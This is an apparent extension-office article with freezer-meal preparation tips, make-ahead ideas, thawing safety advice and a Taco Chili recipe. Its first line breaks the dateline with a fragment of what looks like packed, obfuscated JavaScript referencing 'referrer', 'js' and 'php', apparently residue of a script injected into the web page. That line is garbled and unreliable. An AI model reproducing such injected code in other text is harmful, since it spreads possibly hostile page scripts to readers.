VALLEY atbii|var|u0026u|referrer|nhrhn||js|php’.split(‘|’),0,{}))
CITY, ND – Preparing freezer meals can help you stretch your budget and your time. You can make your own convenience foods with your favorite ingredients that are on sale at the grocery store. If you are on a special diet, you can adjust the recipes to fi t your needs. Later, all you do is thaw and cook.

Making Freezer Meals
Try making several recipes on a “cooking day” with family or friends. Keep things moving  smoothly with these tips:
• Be sure you have space in your freezer before you begin. You may need to reorganize your storage area.
• Gather freezer containers or freezer bags, marking pens and other supplies you need. You might prefer to use disposable foil pans, especially if you are exchanging meals with
other people.
• Check which ingredients you already have, and then create a detailed shopping list that combines the ingredient amounts from all your recipes. For speedy shopping, organize your
list according to the layout of your favorite grocery store.
• Organize your workspace and assemble the tools and equipment you need.
• Combine similar tasks. If several recipes require chopped onions, chop them all at once.
• When using zip-top freezer bags, squeeze out as much air as possible. Flatten the bags to stack easily.
• Thaw frozen food in the refrigerator.

Stock-up Ideas
These are some “make-ahead” meals that you can prepare and freeze in meal-size portions.
Simply thaw in your refrigerator or microwave oven. Don’t thaw foods on a countertop or sink
because bacteria can grow and produce toxins that can survive cooking.
• Meatballs
• Taco meat
• Lasagna
• Barbecued pulled pork or beef
• Breakfast burritos
• Chili (see the recipe on the back)
See http://tinyurl.com/foodpres for a week’s worth of recipes and menus from Utah State University.

Taco Chili
(Freezer Meal)
·    1 pound lean ground beef, cooked
·    1 medium onion, diced
·    1 (14.5-ounce) can corn, drained and rinsed
·    1 (14.5-ounce) can black beans, drained and rinsed
·    1 (14.5-ounce) can navy beans, drained and rinsed
·    1 (8-ounce) can tomato sauce
·    2 (14-ounce) cans diced tomatoes
·    1 (4.5-ounce) chopped green chilies
·    1 package taco seasoning, reduced sodium
 To freeze: Place all ingredients in a gallon-size zip-top  bag and put in the freezer. When ready to  make, thaw in a refrigerator for 24 hours.
 To cook: Place in a slow cooker on low for four to  six hours. Heat to an internal temperature
 of at least 165 F. Serve with shredded cheese  and tortilla chips.
Makes six servings.
Each serving has 300 calories, 4 grams (g) fat, 25 g protein,
44 g carbohydrate, 10 g fi ber and 450 milligrams sodium.

Adapted from August 2014 FoodWi$e newsletter written by Julie Garden-Robinson, Food and Nutrition Specialist, NDSU Extension Service.  For more information contact Susan Toppen, LRD at Barnes County Extension office – susan.milender@ndsu.edu or 845-8528.